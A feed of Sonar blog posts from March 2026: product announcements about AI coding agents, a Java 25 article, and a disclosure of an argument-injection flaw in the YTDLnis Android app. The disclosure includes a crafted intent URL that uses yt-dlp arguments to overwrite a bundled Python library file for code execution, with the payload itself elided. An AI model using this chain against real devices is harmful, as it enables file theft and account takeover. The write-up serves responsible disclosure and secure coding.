Get started with the open beta

The SonarQube Agentic Analysis is now available for SonarQube Cloud Teams and Enterprise accounts. During the beta phase, it is free to use (no sign-up or waitlist required)

During this phase, the service supports the following languages:

Java, JavaScript/TypeScript, Python, .NET, and C/C++
Additional coverage: Secrets detection and IaC domains (Docker, Kubernetes, Terraform)

Our goal is to ensure that the productivity improvements that AI promises aren’t hindered by discovering issues late in the process when they take more time to fix.

Enable it from your SonarQube Cloud settings

Introducing Sonar Context Augmentation

Manish Kapur — Tue, 31 Mar 2026 15:00:00 GMT

Update — March 2026: This article was originally published on March 3rd, 2026, when we launched the closed beta of Sonar Context Augmentation for Enterprise customers. We are now announcing the open beta—expanding access to all SonarQube Cloud Teams and Enterprise plan customers.

TL;DR overview

Sonar Context Augmentation enhances AI-assisted code analysis by providing structured, verified context from SonarQube findings to AI agents, giving them accurate, up-to-date information about code quality and security issues.
Rather than relying on LLMs to independently analyze code—where hallucinations and outdated knowledge create risk—Context Augmentation grounds AI responses in Sonar's deterministic analysis output.
This capability enables agentic AI workflows to prioritize and reason about code issues more accurately, improving the quality of AI-generated remediation suggestions and code reviews.
By connecting Sonar's analysis engine to AI agents via MCP (Model Context Protocol), teams can build AI-powered workflows that leverage verified security intelligence without sacrificing accuracy.

AI coding agents like Cursor and Claude Code are changing how we build software, but they often work in a vacuum. They don’t automatically understand your project’s specific rules, architectural boundaries, or code security standards. As a result, they can generate code that works in isolation but fails to integrate cleanly into your broader codebase. This leads to rework, higher costs, and a "trial-and-error" process for software developers.

To address this, Sonar introduced the Agent Centric Development Cycle (AC/DC), a framework built for the age of AI, with four continuous stages: Guide → Generate → Verify → Solve. Today, we are excited to announce the beta of Sonar Context Augmentation to help agents in the Guide stage of AC/DC.

What is Sonar Context Augmentation?

Sonar Context Augmentation is a service that injects real-time, deep knowledge from SonarQube directly into your AI agent’s workflow. It uses the SonarQube MCP Server to act as a bridge between your enterprise codebase and your AI coding tools.

By providing this "repo-aware" context, Context Augmentation helps AI coding agents understand the specific environment they are working in before they ever generate a line of code.

How Sonar Context Augmentation works

Sonar Context Augmentation provides the exact, filtered information an AI agent needs to get the job right on the first try:

Dynamic context guidelines: Instead of overwhelming an agent with thousands of rules, Context Augmentation identifies the most relevant coding standards based on what you are asking and the history of the specific files being modified.
Architectural awareness: It gives the agent a structural map of your code, including class hierarchies and function flows, so it respects your intended code architecture and avoids creating technical debt.
Smarter search: Agents can find specific code sections using exact signatures and body patterns rather than simple text matches, leading to more accurate modifications.

Why context matters

When an agent has the right context, the agentic output is more accurate, faster, and carries less risk for long-term architectural drift. Experience increased build pass rates, increased test pass rates, significantly reduced code duplication, and reduced cognitive complexity. All of this matters for achieving the real productivity promise of AIgen code.

Our benchmarking also shows that when an agent has the right context, it doesn't just write better code—it works more efficiently. Organizations using Context Augmentation can expect to see reduction in token usage, tool calls, and overall AI operating costs, in particular when working in complex code bases.

By defining the "rules of engagement" upfront, developers spend less time fixing AI-generated code errors and more time shipping high-quality software.

Try it out during our beta

The Sonar Context Augmentation beta is available starting today. To participate, you will need:

SonarQube Cloud Team or Enterprise annual or monthly plan
SonarQube MCP Server
An AI agent like Cursor, GitHub Copilot or Claude Code
Any language project to leverage intelligent guidelines
A Java, C#, Python, JavaScript or TypeScript project to leverage architectural awareness (intended architecture must be set configured for the project to leverage your intended architecture)

NOTE: Context Augmentation only supports projects using CI-based analysis. Projects using Automatic analysis in SonarQube Cloud will not work with Context Augmentation.

For detailed steps to set up Sonar Context Augmentation see our documentation. We hope you will try it out during the beta and explore how agents like Cursor and Claude Code can follow your organization’s specific standards from the first prompt.

Thanks!

Beyond finding issues: Join the SonarQube Remediation Agent Beta

Prasenjit Sarkar — Tue, 31 Mar 2026 13:00:00 GMT

Update — March 2026: This article was originally published on February 11, 2026, when we launched the closed beta of SonarQube Remediation Agent for Enterprise customers. We are now opening up the beta and expanding access to all SonarQube Cloud Teams and Enterprise annual plan customers.

TL;DR overview

The SonarQube Remediation Agent is an AI-powered tool that automatically generates fix proposals for code quality and security issues detected by SonarQube, reducing manual remediation effort.
The agent creates pull request–ready fixes for well-defined, deterministic issues—such as hardcoded secrets, null pointer risks, and common security anti-patterns—grounded in SonarQube's verified findings.
Unlike general AI coding suggestions, the Remediation Agent operates within the boundaries of SonarQube's analysis results, ensuring fixes address real issues rather than hallucinated problems.
Developers participating in the beta can review and accept or reject AI-generated fixes within their existing PR workflow, keeping human oversight while benefiting from automation for routine issues.

The agentic era needs a new development cycle

To address this, Sonar introduced the Agent Centric Development Cycle (AC/DC) — a framework built for the age of AI, with four continuous stages: Guide → Generate → Verify → Solve. The SonarQube Remediation Agent is Sonar's solution to the Solve stage.

What is SonarQube Remediation Agent?

SonarQube Remediation Agent is an AI agent that fixes issues discovered by SonarQube during code analysis — automatically, and with built-in verification to make sure the fix actually works.

The three key differentiators

The “architecture of trust”: This is the core difference. The agent uses a hybrid validation approach. It doesn’t blindly trust the LLM’s output. It runs an internal verification loop where it applies the patch in a sandbox and re-scans it using the Sonar code analysis engine. If the fix introduces a new code security vulnerability or fails to solve the original issue, it is discarded.
Backlog fixes via “Assign to Agent”: Now expanded in open beta. For existing issues on the main branch, a new “Assign to Agent” button on the Issues page lets developers select backlog issues and send them directly to the agent. The agent autonomously identifies the necessary changes and opens a new Pull Request (PR) per issue — which developers can then review, test, and merge. When multiple issues are assigned to the agent simultaneously, it opens one pull request per issue — keeping changes focused and easy for developers to review individually..
Developer-in-the-loop workflow: It doesn’t force changes into your main branch. Instead, the Agent creates PRs now for both use cases. For in-progress PRs, the agent opens a new PR targeting the original branch. Developers review and merge it on their own terms — nothing is forced into your codebase.

How it fits your workflow

Targeted fixes: It focuses exclusively on the “new code” in your PR. If a change breaks the quality gate, the agent identifies why and proposes a solution.
Backlog fixes: For existing issues in your main branch, use 'Assign to Agent' to send backlog items directly to the agent — no manual triage required.
Verification before suggestion: Before you ever see a suggestion, the agent runs a background check to ensure its proposed fix doesn’t introduce new issues.
Language support: Covers Java, JavaScript/TypeScript, and Python, including remediation for exposed secrets.
Works with GitHub: The Remediation Agent integrates with GitHub repositories.

Get started with the open beta

The Remediation Agent is now available for SonarQube Cloud Annual Teams and Enterprise accounts, free to use during the beta period — and open to the first 500 organisations that enroll, so don't wait.

If you’re tired of the manual toil involved in clearing quality gate hurdles and want to focus on shipping features instead of chasing code smells, the Remediation Agent is ready for you to try today.

Enable it from your SonarQube Cloud settings

Announcing SonarQube Server 2026.2

Robert Curlee — Wed, 25 Mar 2026 16:00:00 GMT

Today, we are thrilled to announce the release of SonarQube Server 2026.2. This release brings a redesigned developer workspace, expanded analysis to catch hard-to-spot bugs in more languages and frameworks, and updated security reporting that covers both your code and third-party dependencies.

Developer experience & productivity

This release makes it easier to navigate the platform and faster to act on issues.

Redesigned navigation and workspace experience: We've overhauled the UI with an intuitive vertical sidebar and a new context switcher. Software developers and leaders can instantly jump between portfolios and projects without losing their place, reducing cognitive load and accelerating issue discovery.
Expanded AI CodeFix: Spend less time researching and more time building. We are introducing intelligent, model-agnostic remediation suggestions directly within your secure self-managed environment. This ensures code issues are patched quickly while your proprietary source code remains safely behind your firewall, completely shielded from public LLMs. We also expanded coverage of AI generated autofixes for up to 70% of all types of issues found in Java, Python, JavaScript, TypeScript, C#, C++ and now HTML and CSS. In our testing, this would be able to fix 80% of all issues found in SonarQube Cloud over a calendar year.

Expanded language and framework support

We have expanded to support the latest enterprise frameworks, specifically targeting the subtle bugs introduced by modern AI coding assistants.

Comprehensive Java 25 support: Safely adopt Java 25 LTS paradigms with error-free parsing and deep semantic analysis. We've added critical rules to catch syntactically valid but semantically broken code, often generated by AI assistants trained on outdated preview APIs, preventing severe runtime crashes.
Deepened Python web frameworks: Elevate your Python applications from merely functional to production-resilient. We've added extensive new rules for FastAPI, Flask, and Django to enforce API contracts, ensure RESTful compliance, and harden infrastructure against data leaks.
First-class Groovy support:: Extend code quality standards to your DevOps pipelines with over 20 new quality rules for Groovy.
Enhanced Apex support: For Salesforce teams, our enhanced Apex support achieves PMD parity with a false-positive rate of less than 5%, allowing you to consolidate all development tooling into a single platform.

Enterprise security & governance

Software security leaders and compliance officers now have the granular controls and holistic reporting needed to manage risk across both proprietary code and third-party dependencies.

Structured in-code issue resolution (sonar-resolve): We are replacing the blind "all-or-nothing" NOSONAR comment. Software developers can now use sonar-resolve to silence specific rules with a mandatory status directly in the code. This bridges the gap between frictionless developer workflows and the rigorous auditability required by compliance standards like MISRA C++:2023.
Unified dependency risks in security reports: SonarQube Advanced Security customers gain a holistic view of their software's security posture. Our executive-ready reports and exported PDFs now natively weave Software Composition Analysis (SCA) data together with first-party code health info, reflecting the true risk of your entire software supply chain. Additionally, Software Bill of Materials (SBOM) and dependency risk data is now included in the project regulatory report download.
Advanced SAST configurations for Python top 1K: We've massively boosted security analysis accuracy for Python. The Advanced SAST engine in SonarQube Advanced Security now tracks tainted data out-of-the-box across the top 1,000 most utilized Python libraries, greatly reducing false negatives without requiring manual setup.

Update or migrate today

Update your instance to SonarQube Server 2026.2 today to take advantage of these new capabilities.

Introducing Base Support for Code Verification & Review

Ekaterina Okuneva — Wed, 25 Mar 2026 15:00:00 GMT

Building production-ready code is a journey, and having the right resources at your fingertips is essential. To help every software developer and organization succeed, we are introducing Base Support—a new, free support offering for all SonarQube users that’s designed to provide instant access to the information you need, when you need it.

Self-service expertise at no cost

Base Support provides a foundation for software development teams to independently manage their SonarQube implementation. This online-only offering gives you read-only access to our support portal, allowing you to browse through existing solutions and technical documentation. It is built for teams that want to maintain high standards of code health and security without the need for high-touch service.

Accelerate your skills with the Sonar Learning Center

We believe in empowering developers to grow their expertise, which is why Base Support also grants access to the Sonar Learning Center. This is a customer-facing learning management system (LMS) that hosts educational content created by our customer education team. Our goal is to help you build the skills you’ll need in order to use SonarQube to reduce technical debt, improve team productivity, and deliver more reliable software applications.

The Learning Center offers over 20 hours of educational content across more than 40 courses, including:

Step-by-step onboarding: Courses designed to help you set up SonarQube and onboard your first projects quickly.
Short video tutorials: Concise lessons (under five minutes) for fast, actionable learning.
On-demand webinars: Deep dives into best practices and advanced features.
Foundational learning: Core concepts to help you build code that is secure, reliable, and maintainable.

Streamline your setup with the customer onboarding hub

Beyond individual learning, Base Support connects you to the Sonar Onboarding Hub. This central resource is dedicated to helping you integrate SonarQube into your existing workflows seamlessly. By following our curated best practices, you can ensure your team is productive from day one while maintaining standards in the IDE.

In an era where we must verify the output of AI tools at scale, having a strong foundation in code quality is more important than ever. By making these resources free and accessible to all users of SonarQube, we are helping every team build a culture of code quality that lasts. Get started with SonarQube today, and access the Base Support portal and the Learning Center to accelerate your journey.

Argument injection in YTDLnis via Android intent

Paul Gerste — Tue, 24 Mar 2026 16:00:00 GMT

YTDLnis is a popular open-source Android app allowing users to download video and audio from various platforms. It comes with many features such as format conversion, download queue management, ad blocking, and a modern Material You interface. The app is written in Kotlin, earned over 8,000 stars on GitHub, and can be downloaded via app stores like F-Droid.

As part of our efforts to secure open-source projects and improve our own mobile app scanning capabilities, we audited the code base of YTDLnis and discovered a critical vulnerability that leads to code execution on the victim's device when they click a malicious link.

In this blog post, we will first examine the impact of the vulnerability on YTDLnis and its users. We will then dive into the technical details, where we first learn how deep links work on Android, how they can carry attacker-controlled data, and how this data can flow into dangerous functionality. We will then see how yt-dlp, the library used under the hood by the app, can be used by an attacker to execute arbitrary code. Finally, we will learn how this flaw was patched and how you can avoid such vulnerabilities in your code.

Impact

YTDLnis version 1.8.4 and before are affected. The vulnerability, an Argument Injection flaw, allows an attacker to execute arbitrary code in the context of the YTDLnis app on the victim's device. This allows them to hijack the app's identity and permissions, bypassing standard Android security boundaries.

Even though modern Android versions try to reduce the data accessible to apps by default, YTDLnis is granted Full Storage Access allowing an attacker to read, modify, or delete any file on the device, including private photos and documents. Since users can log into services like YouTube or Instagram through YTDLnis, an attacker could take over these accounts without needing a password or 2FA since the cookies are stored inside the app's data.

There are no special requirements for an attack to succeed, the app is vulnerable in its default configuration, all an attacker has to do is make its victim click on a malicious link. The vulnerability was fixed in version 1.8.4.1-beta, so we strongly recommend users to update to at least this version.

Watch the video

Technical details

YTDLnis is written in Kotlin and heavily based on the open-source yt-dlp project, which is a Python-based audio/video downloader that supports many websites and formats. The app's main purpose is to download videos or audio from user-supplied links. A user can either paste a link into the app, or use Android's cross-app sharing functionality to simply click on a link and let YTDLnis handle it, which opens YTDLnis' download panel:

Android intents

Under the hood, such app-to-app interactions are handled via intents. An intent is a messaging object that apps use to communicate with the Android OS and other apps. It acts as a messenger, describing an intended action, such as "view a web page," "share a photo," or "start this specific screen". The intent also carries the necessary data to perform that action.

When one app wants another app to perform a task, it sends an intent to the Android OS. The OS then inspects the Intent and forwards it to the appropriate app component that has declared its ability to handle that specific action and data. Importantly, Intents can carry additional key-value data known as extras, which are a big source of attacker-controlled data, especially in app-to-app attack scenarios.

Deep links & intent URLs

To let the Android OS know which kinds of links can be opened by an app, the app has to declare patterns in its manifest. For example, YTDLnis presents itself as being able to handle any links that point to media with a video/* or audio/* MIME type, or links to youtube.com:

<activity android:name=".receiver.ShareActivity" ...>
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="http" />
        <data android:scheme="https" />
        <data android:mimeType="video/*" />
        <data android:mimeType="audio/*" />
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="https" android:host="youtube.com" />
        <data android:host="youtube.com" />
    </intent-filter>
    <!-- ... -->
</activity>

These so-called intent filters are attached to an activity element, which tells the OS which component of the app to launch when the user selects to open a link with that app. Normally, when there are multiple apps installed that could handle a single link, Android shows the sharing dialog so the user can select the app (see screenshot above). However, there's also a way to open a very specific app via special Intent URLs from supported browsers. These can specify the package, the unique identifier of every Android app, along with other metadata:

intent:  
   HOST/URI-path // Optional host  
   #Intent;  
      package=[string];  
      action=[string];  
      category=[string];  
      component=[string];  
      scheme=[string];  
   end;

To immediately open a YouTube link with YTDLnis instead of the default YouTube app, a website can craft a link like this:

intent://www.youtube.com/watch?v=dQw4w9WgXcQ#Intent;package=com.deniscerri.ytdl;scheme=https;end;

The source

As explained earlier, the app defines its activity that should be launched by the OS to handle links fitting an intent filter. In our case, the ShareActivity handles all kinds of links:

class ShareActivity : BaseActivity() {
    // [...]
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // [...]
        handleIntents(intent)
    }
    // [...]
    private fun handleIntents(intent: Intent) {
        // [...]
        val action = intent.action
        Log.e("aa", intent.toString())
        if (Intent.ACTION_SEND == action || Intent.ACTION_VIEW == action) {
            // [...]
            val data = when(action){
                Intent.ACTION_SEND -> intent.getStringExtra(Intent.EXTRA_TEXT)!!
                else -> intent.dataString!!
            }

            val inputQuery = data.extractURL()

            val type = intent.getStringExtra("TYPE")
            val background = intent.getBooleanExtra("BACKGROUND", false)
            val command = intent.getStringExtra("COMMAND") ?: ""

            // [...]
        }
    }
    // [...]
}

When the activity instance is created by the OS, the handleIntents function handles the incoming intent, which is the object containing all the details and metadata sent from the calling app. The action, which specifies the intended user action, is checked to be one of send or view. Then the URL to download is then extracted and saved as inputQuery.

However, YTDLnis extracts some more information from the incoming intent object: TYPE, BACKGROUND, and COMMAND. These values are intent extras, the additional key-value data mentioned earlier. Since apps can add them to intents, they can also be embedded in intent URLs in a similar way as URL query parameters. However, since extras have types, each key=value pair has to be prefixed with a type prefix, for example B for boolean:

intent://www.youtube.com/watch?v=dQw4w9WgXcQ#Intent;package=com.deniscerri.ytdl;scheme=https;B.BACKGROUND=true;end;

Among the extras supported by YTDLnis, BACKGROUND is a boolean that specifies whether the download should run in the background. If it is set to true, the download immediately starts and the UI is not displayed to the users.

The COMMAND string extra sounds interesting from a security perspective, but we have to follow it through the code before it becomes clear what it does. First, a DownloadItem is created based on the incoming intent and the COMMAND string is appended to the downloadItem.extraCommands string. The DownloadItem is then placed in a download queue and is eventually taken out of that queue by a DownloadWorker. For each DownloadItem, the worker creates a YoutubeDLRequest which is then executed to download the respective file.

Controlling download arguments

The YTDLPUtil.buildYoutubeDLRequest function is responsible for crafting the YoutubeDLRequest. It creates a long list of yt-dlp command line parameters based on the DownloadItem:

fun buildYoutubeDLRequest(downloadItem: DownloadItem) : YoutubeDLRequest {
    // [...]
    val request = StringJoiner(" ")
    // [...]

    if (downloadItem.extraCommands.isNotBlank() && downloadItem.type != DownloadViewModel.Type.command){
        // [...]
        request.addOption(downloadItem.extraCommands)
    }

    val cache = File(FileUtil.getCachePath(context))
    cache.mkdirs()
    val conf = File(cache.absolutePath + "/${System.currentTimeMillis()}${UUID.randomUUID()}.txt")
    conf.createNewFile()
    conf.writeText(request.toString())
    val tmp = mutableListOf<String>()
    tmp.addOption("--config-locations", conf.absolutePath)
    ytDlRequest.addCommands(tmp)
    return ytDlRequest
}

The extraCommands, containing the COMMAND extra from the original intent, are added to the list of command line arguments. All arguments are eventually written to a temporary file which is then referenced via a single --config-locations argument in the real yt-dlp invocation.

Being able to influence the command line arguments of a new process is an argument injection vulnerability, even though it seems to be a feature rather than a bug in this case. Since yt-dlp supports many different arguments involved with its features, it is very likely that there is a way to execute arbitrary code as a result.

From arguments to code execution

Looking at yt-dlp's (very long) list of supported command line arguments, there are several that sound like they could help an attacker execute arbitrary code. One that caught our eye was --print-to-file [WHEN:]TEMPLATE FILE. It allows writing certain templating data to the file path specified as FILE. To also fully control the content of what's being written to the file, an attacker can use the accompanying --output-na-placeholder argument in combination with a dummy value as the TEMPLATE value in the first argument:

--print-to-file foobar /path/to/file
--output-na-placeholder 'the content to be written'

A controlled file write is a great gadget for an attacker, but how can it be converted to code execution? On regular Linux systems, there are many interesting file write locations. Overwriting script files, changing configurations, adding cron jobs, or dropping web shells can all lead to code execution. However, Android is very different. By default there aren't any files that an app can overwrite in order to execute code. The app's own APK file cannot be overwritten by itself, most file system paths are read-only, some paths have randomized file names, and an app's internal storage directory rarely contains interesting files that would be executed at any point.

However, YTDLnis is a notable exception here. Since it packages yt-dlp, which is written in Python, it also needs to ship with a Python runtime! During the app's first execution, the Python runtime is extracted to the app's internal storage directory located at /data/data/com.deniscerri.ytdl/no_backup/youtubedl-android/packages/python/. This runtime folder contains the Python executable, as well as the .py files making up the Python standard library. The attacker can simply use the file write gadget to overwrite any of those .py files with arbitrary code that will be executed the next time a yt-dlp process is started.

Putting it all together

To piece everything together, an attacker would host a malicious website that opens a crafted intent URL when a victim visits:

intent://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4#Intent;scheme=https;package=com.deniscerri.ytdl;type=video/mp4;B.BACKGROUND=true;S.COMMAND=--print-to-file%20foobar%20/data/data/com.deniscerri.ytdl/no_backup/youtubedl-android/packages/python/usr/lib/python3.11/contextlib.py%20--output-na-placeholder%20"...payload...";end;

The intent URL points to a valid video but also specifies the BACKGROUND and COMMAND extras, as well as YTDLnis' package name to specifically launch this app. The BACKGROUND extra prevents the UI from being shown to the user and immediately starts the download process. The COMMAND extra specifies additional command line arguments passed to yt-dlp, namely --print-to-file and --output-na-placeholder. The combination of these two will overwrite the specified file, in this case /data/data/com.deniscerri.ytdl/no_backup/youtubedl-android/packages/python/usr/lib/python3.11/contextlib.py, with attacker-controlled content. Later in the download process, yt-dlp is executed again, causing the overwritten Python file to be executed, running the attacker payload.

Since YTDLnis requests some elevated permissions such as Full Storage Access, an attacker executing code can read or write any file on the internal storage. Next to this, attackers can also exfiltrate the saved session cookies of the services that the user logged into inside YTDLnis, such as YouTube or Instagram.

Patch

As a fix, the YTDLnis maintainer removed the COMMAND intent extra handling from ShareActivity. This prevents attackers from having direct input into the yt-dlp command line arguments, successfully mitigating the vulnerability.

Timeline

Date	Action
2025-05-20	We report the issues to the maintainer via Discord
2025-05-24	The maintainer confirms the issue
2025-06-10	The maintainer releases patch version v1.8.4.1-beta

Summary

In this blog post, we detailed how a 1-click argument injection vulnerability in YTDLnis allowed attackers to execute arbitrary code on a victim's device via a malicious link. Since the app has Full Storage Access permissions, a successful exploit enables the attacker to read, modify, or delete many files on the device, such as photos or documents. In addition to that, saved session cookies for services like YouTube and Instagram are at risk of exfiltration, potentially leading to account takeover. Users are strongly urged to update to the patched version 1.8.4.1-beta or later immediately.

This vulnerability shows once again that handling untrusted external data is inherently unsafe. In classic web server scenarios, it might be more obvious what is controllable by an external attacker, but the Android world is also prone to this, even if it might be not as clear in the code. Although Android's design tries to mitigate certain impacts, such as arbitrary file writes, complex app setups such as YTDLnis' can open new possibilities for attackers.

Finally, we would like to thank the YTDLnis maintainer for great communication and a fast fix of the vulnerability reported by us. Continue reading here if you want to develop high quality & secure mobile apps.

Your AI can write Java 25 right with SonarQube

Killian Carlsen-Phelan — Wed, 18 Mar 2026 15:00:00 GMT

Your AI coding assistant writes a ScopedValue handler for a request pipeline. It binds a user context, forks the work to an ExecutorService, and reads the value on the worker thread. The code compiles. It looks like well constructed, modern Java. In production, the worker thread throws NoSuchElementException because scoped value bindings don't propagate to traditional thread pools. The assistant used the concurrency pattern it learned from 20 years of Java training data. That pattern is wrong for ScopedValue.

^{Java 25 is the first LTS-track release since JDK 21, and it finalizes features that have been in preview for years.} AI coding tools generate fluent Java 25 code, but fluency and correctness are different things. SonarQube includes new rules that catch the exact failure modes AI coding tools introduce when they write for these features.

The training data limitation

ScopedValue was in preview across JDK 21 through 24. Each version shipped a different API surface. In the previews, ScopedValue.orElse(null) was legal. In the final Java 25 API, passing null to orElse throws NullPointerException. An LLM trained on preview-era code generates calls that match a preview API but break against the final one.

This pattern repeats with every language release that finalizes preview features. The model's training data contains thousands of examples of the preview API, a handful of blog posts about the final API, and zero production codebases using the final version (because it just shipped). Research on LLM code generation confirms various forms of hallucination in generated code, including API misuse (Zhang et al., 2024).

Java 25 is not uniquely dangerous. It's a case study of a structural problem. Every finalized preview feature creates a window where AI tools are confidently wrong, and that window stays open until enough post-release code enters the training pipeline. For enterprise teams jumping from JDK 17 or 21 to 25, every finalized feature hits at once.

More capable models, more severe bugs

You might expect newer, more capable models to handle this better. Sonar's data says otherwise.

In Sonar's 2026 Developer Survey of 1,100+ developers, 42% of committed code is now AI-generated or AI-assisted, up from 6% in 2023. The volume is staggering. And the quality gap is widening in a direction most teams don't expect.

Sonar tested leading models across 4,400+ identical Java tasks. The results show a consistent and counterintuitive pattern: newly updated versions of LLMs improve pass rates, however the remaining bugs are more severe and harder to find. When Claude upgraded from 3.7 Sonnet to Sonnet 4, the pass rate improved 6.3%, but bugs were 93% more likely to be BLOCKER severity. Opus 4.6 increased vulnerability density 55%.

A systematic survey of bugs in AI-generated code documents the same pattern: models routinely produce code that is syntactically valid but semantically incorrect, with functional bugs that don't surface at compile time (Gao et al., 2025). More fluent code passes more tests, but the failures that remain are subtler and more expensive to find.

61% of developers in the Developer Survey cite AI code that "looks correct but isn't reliable" as a top concern. Yet only 48% of developers verify AI-generated code before committing. When developers ranked the most critical skill for the AI era, the top answer was "reviewing and validating AI-generated code for quality and security" (47%). The code verification gap is real, and it widens when the code looks right.

JEP 506: the ThreadLocal trap

JEP 506 finalizes scoped values as a structured alternative to ThreadLocal. You declare a ScopedValue<T>, bind it through a Carrier, and any code executing within that carrier's .run() or .call() scope can read the value. When the scope ends, the binding disappears.

The API is simple. The trap is in how AI tools reach for the wrong concurrency primitive around it.

Every LLM has seen thousands of ThreadLocal + ExecutorService patterns. When asked to share context across concurrent tasks, they reproduce that pattern with scoped values bolted on. The result compiles, but the worker thread has no binding:

static final ScopedValue<String> REQUEST_ID = ScopedValue.newInstance();

void handleRequest(String id) {

    ScopedValue.where(REQUEST_ID, id).run(() -> {

        executor.submit(() -> {

            String reqId = REQUEST_ID.get(); // NoSuchElementException

            processAsync(reqId);

        });

    });

}

Scoped value bindings propagate to child threads created via StructuredTaskScope, not to threads borrowed from an ExecutorService pool. The fix requires replacing the concurrency model, not just the variable type:

void handleRequest(String id) throws Exception {

    ScopedValue.where(REQUEST_ID, id).call(() -> {

        try (var scope = StructuredTaskScope.open(Joiner.allSuccessfulOrThrow())) {

            scope.fork(() -> {

                String reqId = REQUEST_ID.get(); // Inherited binding

                processAsync(reqId);

                return null;

            });

            scope.join();

        }

        return null;

    });

}

Note: StructuredTaskScope is a preview API in Java 25 (JEP 505) and requires --enable-preview to compile.

A second failure mode is even quieter. ScopedValue.where(KEY, value) returns a Carrier object. If you don't chain it with .run() or .call(), the binding never activates. The line executes, does nothing, and the next .get() call throws. SonarQube rule S8432 catches exactly this: a .where() call whose Carrier result is discarded.

A related rule, S8465, catches a different ScopedValue misuse: creating an anonymous instance directly inside .where(). Without a stable reference, the key is unreachable because no code can call .get() on it.

// Noncompliant: Carrier discarded, binding never activates

ScopedValue.where(THEME, "DARK");

// Compliant: Carrier consumed, binding active during run()

ScopedValue.where(THEME, "DARK").run(this::renderUI);

And then there's the preview API residue. LLMs trained on JDK 21-24 code generate orElse(null) as a safe fallback when a scoped value might not be bound. In the preview API, that was legal. In the final Java 25 API, orElse requires a non-null default. Note that no rule catches this today. It's a runtime failure, not a structural pattern the static analyzer can flag:

// Preview-era pattern: throws NullPointerException in Java 25

User getUser() {

    return CURRENT_USER.orElse(null);

}

// Compliant: non-null default or explicit isBound() guard

User getUser() {

    return CURRENT_USER.orElse(User.anonymous());

}

All three failure modes share a root cause: the AI generates code shaped like ThreadLocal usage, where .set() modifies thread state in place, any thread pool inherits the value, and null is a valid sentinel. Scoped values work differently at every level, and the training data hasn't caught up.

JEP 513: the prologue illusion

JEP 513 allows statements before super() or this() in a constructor. Before Java 25, the explicit constructor invocation had to be the first statement. The code before super() is called the prologue, and it operates in an "early construction context" with restrictions that look nothing like a normal code block.

Validation after super

The most universal AI failure mode with JEP 513 is also the simplest. Every model generates validation after super() because pre-25 Java required it:

public SmallCoffee(int water, int milk, String topping) {

    super(water, milk); // Noncompliant: constructing before validation

    int totalVolume = water + milk;

    if (totalVolume > MAX_CUP_VOLUME) {

        throw new IllegalArgumentException();

    }

}

The superclass allocates resources, initializes state, and possibly triggers side effects, all before you check whether the arguments are even valid. Java 25 lets you validate first:

public SmallCoffee(int water, int milk, String topping) {

    int totalVolume = water + milk;

    if (totalVolume > MAX_CUP_VOLUME) {

        throw new IllegalArgumentException();

    }

    super(water, milk); // Compliant: validation before construction

}

SonarQube rule S8433 flags constructors where validation logic appears after super().

The uninitialized field read

S8433 catches a performance and correctness issue. Rule S8447 catches a bug, and it's the most severe rule in the Java 25 set: type BUG, severity CRITICAL, reliability impact HIGH.

The scenario: a superclass constructor calls an overridable method. A subclass overrides that method and reads its own field. Because super() runs before the subclass field assignment, the field holds its default value (0 for int, null for objects, and false for boolean).

class Super {

    Super() { foo(); }

    void foo() { System.out.println("Base logic"); }

}

class Sub extends Super {

    final int x;

    Sub(int x) {

        super();

        this.x = x; // Noncompliant: x is 0 when foo() runs during Super()

    }

    @Override

    void foo() {

        System.out.println(x); // Prints 0, not the expected value

    }

}

Read that code carefully. The field is final. The value is assigned. The constructor looks correct. But super() calls foo() before the assignment executes, so foo() reads the default value. A bug like this passes every human review because nothing looks wrong.

Java 25's flexible constructor bodies fix it by allowing the field initialization to move before super():

Sub(int x) {

    this.x = x;  // Initialize before super()

    super();      // foo() now sees the correct value

}

The alternative fix: mark the superclass method final or private so subclasses can't override it in a way that observes uninitialized state.

Prologue guardrails

The prologue enables better formed constructors, but it's not a dumping ground. Rule S8444 flags constructors with more than five statements (by default) before super() and recommends extracting complex logic into static helper methods. Static, because instance methods aren't accessible in the early construction context.

Together, S8433, S8444, and S8447 form a trio: validate before super() (S8433), don't overdo it (S8444), and initialize fields before super() when they're read during superclass construction (S8447).

JEP 511: the ambiguity time bomb

JEP 511 introduces module import declarations. A single import module java.base; imports every public top-level type from every package exported by that module. It's a convenience feature that collapses dozens of import lines into one.

The danger is in what happens when you import more than one module.

import module java.base;     // exports java.util.List, java.util.Date

import module java.desktop;  // exports java.awt.List

import module java.sql;      // exports java.sql.Date

public class OrderService {

    List<String> orders;     // Compile error: ambiguous

    Date createdAt;          // Compile error: ambiguous

}

The error appears at the usage site, not at the import. An LLM generating this code sees no problem with the imports. Module imports have the lowest precedence in Java's shadowing hierarchy, below both single-type imports and on-demand package imports. To resolve ambiguity, you add a specific import:

import module java.base;

import module java.sql;

import java.util.List;       // Disambiguates

import java.sql.Date;        // Disambiguates

A subtler problem: import module java.se; imports the entire Java SE platform, but only in an explicit module that already requires java.se. In a typical classpath project (the unnamed module), this import fails to compile because java.se is not in the default set of root modules. An LLM won't know the difference. In a modular project where it does compile, the import creates a different risk: every new type added in a future JDK release can introduce an ambiguity that breaks compilation. The import that worked on day one grows more fragile with every Java version.

One more trap: import module cannot import from the unnamed module, which holds classpath jars that aren't explicitly modularized. And even for modularized libraries, LLMs guess the module name from Maven coordinates rather than the actual JPMS name. An LLM will generate import module com.google.guava; when the real module name is com.google.common, producing a compile error with no clear signal about what went wrong.

LLMs also make wrong precedence assumptions. If you write both import module java.base; and import java.awt.*;, the package import's java.awt.List shadows the module import's java.util.List. An LLM generating both imports likely intended java.util.List, but the shadowing rules say otherwise.

SonarQube rule S8445 enforces that module imports come first and that regular and static imports are properly grouped. The rule makes the shadowing hierarchy visible in the source file: module imports (broadest, lowest precedence) at the top, with regular and static imports each grouped below. When ambiguity exists, the structure makes it obvious where to add a disambiguation import.

The common thread

All three JEPs produce the same shape of failure: code that is syntactically valid but semantically broken, where the error surfaces at runtime or at a usage site far from the root cause. The Carrier looks like it does something. The prologue looks like a normal code block. The module import looks correctly coded.

